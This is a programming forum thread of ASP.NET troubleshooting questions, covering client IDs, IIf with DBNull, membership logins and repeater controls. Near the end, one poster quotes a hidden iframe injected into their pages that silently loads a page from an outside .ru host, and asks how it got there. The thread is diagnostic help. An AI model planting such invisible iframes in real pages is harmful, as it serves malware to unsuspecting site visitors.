|
Rico MNC wrote: returning null from the $find
What ID are you using in the find? Don't forget about the name mangling that ASP.NET applies to IDs
only two letters away from being an asset
|
|
|
|
|
Yes I am aware of the name mangling, and have tried all my usual solutions. I will post more details and examples later.
Thanks for trying to help.
|
|
|
|
|
When I try this:
var foo = $find<"%=_Locations1.ClientID%>");
The dynamic page during debug shows:
var foo = $find"ctl00_ctl00_ContentPlaceHolder1_ContentPlaceHolderMain__Locations1");
and foo is null after stepping through it.
|
|
|
|
|
Everytime I try to load a datagrid I get that a dbnull can't be convert to a string. I have included the following on the field that I am trying to convert to a link (with document location and name included).
<%#iif (IsDBNull(Container.DataItem("LinkName"))= True, "", ViewDocument(Container.DataItem("LinkName")))%>
It always goes to my sub routine ViewDoment() even when the Link Name is null. This works well on a field I'm making visible depending on if this same field is null or not but it won't work for the sub routine. Can anyone explain to me why or tell me what is wrong with the code?
Thanks,
Carolyn
If you can’t have fun at work, then why go to work?
|
|
|
|
|
This would work if you used a decent language....
iif evaluates both sides of the equation if I remember correctly. You should write a method that is passed the data item, and inside that, work out if it's DBNull using an if statement, not iif
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Christian Graus wrote: You should write a method that is passed the data item, and inside that, work out if it's DBNull using an if statement, not iif
Anybody who uses iif, even if they know that both results can be evaluated is asking for trouble, IMHO. I never used it in classic VB because it was a library function that always produced a function call instead of inline code. I guess its still available for compatibility, but it leads people to think that they can write the kind of code in the OP.
|
|
|
|
|
Hi,
I am using asp.net built in membership mechanism for registration and login in.
I recently transferred a website to a different hosting including the sql server database. After transferring the website all the previous user who registered now can't login with their user name and password. Password recovery says that the user name doesn't exist.
However, new account registration works and there is no problem logging in with the new account.
Does anyone know what the problem is?
Thank you for the time.
|
|
|
|
|
Sounds obvious. Your SQL migration did not work, the data for old users was lost.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
The username is in the database. That's the thing. I checked it.
When I try to register same user it throws a duplicate record error for the username. That's a confirmation that it's in the db.
|
|
|
|
|
This was resolved. Thanks.
|
|
|
|
|
Well don't just leave us hanging man; How was it solved? Others may find it useful to know also.
only two letters away from being an asset
|
|
|
|
|
The initial response was correct the asp membership data was not transferred. It was another table that showed the error.
|
|
|
|
|
Actually the data was in the tables. The application name in web.config should match the applicaion name in the asp_applications table.
|
|
|
|
|
|
Hi
I am trying to understand ASP.net extenders. Here is the link I am following. Look at Listing 3 - DisabledButton.js
http://www.asp.net/learn/Ajax-Control-Toolkit/tutorial-49-cs.aspx
Most of the parts I am able to follow but the style of Javascript used here blew me away. I wrote Javascript in past but this is so different than what I wrote before. Probably, this is recommended style now.
Where can I find more to write Javascript like this? Please advise.
thanks
PM
Follow your goals, Means will follow you ---Gandhi---
|
|
|
|
|
To deal with this code ...
&;lt;table&;gt;
<asp:Repeater ID="Repeater1" OnItemDataBound="test_ItemDataBound" >
<ItemTemplate>
<tr>
:(
<td >
<asp:CheckBoxList runat="server" ID="chboxlst">
</asp:CheckBoxList>
</td>
<td valign="top" width="100" ">
<radCln:RadDateTimePicker ID="date" runat="server">
</radCln:RadDateTimePicker>
</td>
</tr>
</ItemTemplate>
</asp:Repeater>
</table>
.. i added following code in code behind -
protected void test_ItemDataBound(object sender, System.Web.UI.WebControls.RepeaterItemEventArgs e)
{
CheckBoxList lst = e.Item.FindControl("chboxlst") as CheckBoxList;
lst.DataSource = wtever;
lst.DataBind();
}
but originally chboxlst is used in various methods in the code behind and according to above code, i can not access lst outside the above mentioned ItemDatabBound event.
Any ideas ?? - how can i access lst globally to be able to replace it with chboxlst ID.
Or if there is any other way to get this working.
|
|
|
|
|
AndyInUK wrote: Any ideas ?? - how can i access lst globally to be able to replace it with chboxlst ID.
If it's databound like this, you don't HAVE one checkboxlist. You have one for each item. Where do you want to access it ? If in a check changed event, that should be passed the control in question. If in page prerender, you could generate a list of checkboxlists as each is data bound.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Sorry but i didn't got you.
Ok i will try to explain the problem. There was a checkboxlist already present and chkbxlst(ID of that checkboxlist) is called in various places in code behind. Now if i cut copy the same checkboxlist control and add it under repeater control then i can not access chkboxlst id from code behind.
So what should i do so that i can call find and call chkbxlst id in code behind in all the places.
I hope it's bit clear now.
|
|
|
|
|
AndyInUK wrote: I hope it's bit clear now.
Very clear. It is obvious you need to read up on how to use repeater controls.
|
|
|
|
|
Oakman wrote: It is obvious you need to read up on how to use repeater controls.
I don't mind doing that but i can't find any tutorial which deals with similar situation like mine. Can you direct me to any ?
|
|
|
|
|
You can probably find something by Googling "repeater control checkbox."
The short answer is that once you add a control to a repeater, you can't access it directly since there could be many copies of that control. You have to find the item in the repeater you want (for each is a common method for doing this), and then write something like,
Dim theCheckbox As CheckBox = CType(e.Item.FindControl("aCheckBox"),CheckBox)
or
CheckBox theCheckbox = (CheckBox)(e.Item.FindControl("aCheckBox"));
btw: my first response came across as more snippy than I meant it to be.
|
|
|
|
|
If you read my original post - you will see that i know we need to find the control in repeater and the reason i added the bit of code for it to work.
But the whole problem is - aCheckBox is used at various places in the code behind. So that means it will generate error in all those places where i used aCheckBox. Now according to your suggestion and the one i did - i am finding that control under the common method and now outside this method i won't be able to find the control again. So what would be the best way in this case. Do i have to change the entire code where i have used aCheckBox or any other alternative.
|
|
|
|
|
Would it work to declare aCheckBox as a global variable and then instantiate it in the common method? If you need to refer to more than one at a time, I'd use the common method to create a collection.
|
|
|
|
|
Hi All,
I have developed a website using asp.net. The problem is someone was write for unwanted content in my two pages like default & home pages. When go to my url it open a login page. Once the user will give valid input then i will redirect the default page. And next to go to Home page.
The following text was write in my site.
<iframe frameborder="0" onload="if (!this.src){ this.src='http://testossteron.ru:8080/index.php'; this.height='0'; this.width='0';}" >wnwoccykiicptwlnvyhdhlbctpxyvqw</iframe>
This text was write on after body tag.
How this text was write in my default page and how to avoid this type of issues?
Please Help Me
|
|
|
|
|
Seems like your web pages infected by a malware. You contact your host providers for further assistance. Another possibility is that the cross site scripting. Do you validate the user inputs?
|
|
|
|